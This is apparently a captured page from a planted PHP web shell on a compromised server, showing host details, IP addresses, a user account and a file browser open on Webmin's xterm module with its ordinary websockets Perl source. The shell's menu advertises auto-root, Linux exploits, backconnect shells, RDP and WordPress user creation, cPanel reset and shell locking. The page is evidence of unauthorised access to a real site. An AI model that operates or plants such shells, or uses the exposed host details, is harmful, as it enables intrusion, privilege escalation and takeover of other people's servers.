Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
xterm /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
rc
[ DIR ]
drwxr-xr-x
acl_security.pl
395
B
-rw-r--r--
config
23
B
-rw-r--r--
config.info
226
B
-rw-r--r--
defaultacl
10
B
-rw-r--r--
index.cgi
6.51
KB
-rwxr-xr-x
module.info
176
B
-rw-r--r--
shellserver.pl
4.3
KB
-rwxr-xr-x
websockets-lib-funcs.pl
2.53
KB
-rw-r--r--
xterm-addon-attach.js
1.27
KB
-rw-r--r--
xterm-addon-fit.js
1.53
KB
-rw-r--r--
xterm-lib.pl
191
B
-rw-r--r--
xterm.css
2.19
KB
-rw-r--r--
xterm.js
265.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : websockets-lib-funcs.pl
# allocate_miniserv_websocket() # Allocate a new websocket and # stores it miniserv.conf file sub allocate_miniserv_websocket { # Find ports already in use &lock_file(&get_miniserv_config_file()); my %miniserv; &get_miniserv_config(\%miniserv); my %inuse; foreach my $k (keys %miniserv) { if ($k =~ /^websockets_/ && $miniserv{$k} =~ /port=(\d+)/) { $inuse{$1} = 1; } } # Pick a port and configure Webmin to proxy it my $port = $config{'base_port'} || 555; while(1) { if (!$inuse{$port}) { &open_socket("127.0.0.1", $port, my $fh, \$err); last if ($err); close($fh); } $port++; } my $wspath = "/$module_name/ws-".$port; my $now = time(); $miniserv{'websockets_'.$wspath} = "host=127.0.0.1 port=$port wspath=/ user=$remote_user time=$now"; &put_miniserv_config(\%miniserv); &unlock_file(&get_miniserv_config_file()); &reload_miniserv(); return $port; } # remove_miniserv_websocket(port) # Remove old websocket # from miniserv.conf sub remove_miniserv_websocket { my ($port) = @_; my %miniserv; if ($port) { &lock_file(&get_miniserv_config_file()); &get_miniserv_config(\%miniserv); my $wspath = "/$module_name/ws-".$port; if ($miniserv{'websockets_'.$wspath}) { delete($miniserv{'websockets_'.$wspath}); &put_miniserv_config(\%miniserv); &reload_miniserv(); } &unlock_file(&get_miniserv_config_file()); } } # cleanup_miniserv_websockets([&skip-ports]) # Called by scheduled status collection to remove any # websockets in miniserv.conf that are no longer used sub cleanup_miniserv_websockets { my ($skip) = @_; $skip ||= [ ]; &lock_file(&get_miniserv_config_file()); my %miniserv; &get_miniserv_config(\%miniserv); my $now = time(); my @clean; foreach my $k (keys %miniserv) { $k =~ /^websockets_\/$module_name\/ws-(\d+)$/ || next; my $port = $1; next if (&indexof($port, @$skip) >= 0); my $when = 0; if ($miniserv{$k} =~ /time=(\d+)/) { $when = $1; } if ($now - $when > 60) { # Has been open for a while, check if the port is still in use? my $err; &open_socket("127.0.0.1", $port, my $fh, \$err); if ($err) { # Closed now, can clean up push(@clean, $k); } else { # Still active close($fh); } } } if (@clean) { foreach my $k (@clean) { delete($miniserv{$k}); } &put_miniserv_config(\%miniserv); &reload_miniserv(); } &unlock_file(&get_miniserv_config_file()); } 1;
Close